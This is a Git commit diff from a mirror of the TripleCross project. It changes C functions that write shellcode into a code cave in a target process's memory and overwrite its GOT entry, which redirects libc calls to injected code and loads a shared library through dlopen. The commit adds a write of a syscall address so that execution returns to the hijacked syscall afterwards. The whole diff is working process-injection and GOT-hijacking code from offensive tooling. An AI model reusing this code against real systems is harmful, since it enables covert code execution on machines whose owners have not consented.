mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-27 11:53:09 +08:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
This commit is contained in:
@@ -41,7 +41,7 @@ __u64 code_cave_find_address(int mem_fd, __u64 from, __u64 to, char flags[], __u
|
||||
}
|
||||
|
||||
|
||||
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr){
|
||||
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr, __u64 syscall_addr){
|
||||
//Writing the code cave address in the GOT section, future calls to libc will be redirected
|
||||
size_t len = sizeof(__u64);
|
||||
__u64 buf_n = (__u64)cave_addr;
|
||||
@@ -103,8 +103,18 @@ int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//A trick to jump to a selected location
|
||||
len = sizeof(__u64);
|
||||
buf_n = (__u64)syscall_addr;
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
|
||||
perror("Error while writing syscall address");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("Finished writing shellcode at %llx\n", cave_addr);
|
||||
printf("Finished writing shellcode at %llx, syscall_addr %llx\n", cave_addr, syscall_addr);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -53,7 +53,7 @@ int manage_injection(const struct rb_event* event){
|
||||
__u64 cave_addr = code_cave_find_address(mem_fd, from, to, flags, pgoff, major, minor, ino);
|
||||
if(cave_addr!=0){
|
||||
//Found valid cave.
|
||||
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address)<0){
|
||||
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address, event->syscall_address)<0){
|
||||
printf("Continuing with next cave candidate. Some writes might have been performed already\n");
|
||||
}
|
||||
printf("Successfully hijacked GOT\n");
|
||||
|
||||
Reference in New Issue
Block a user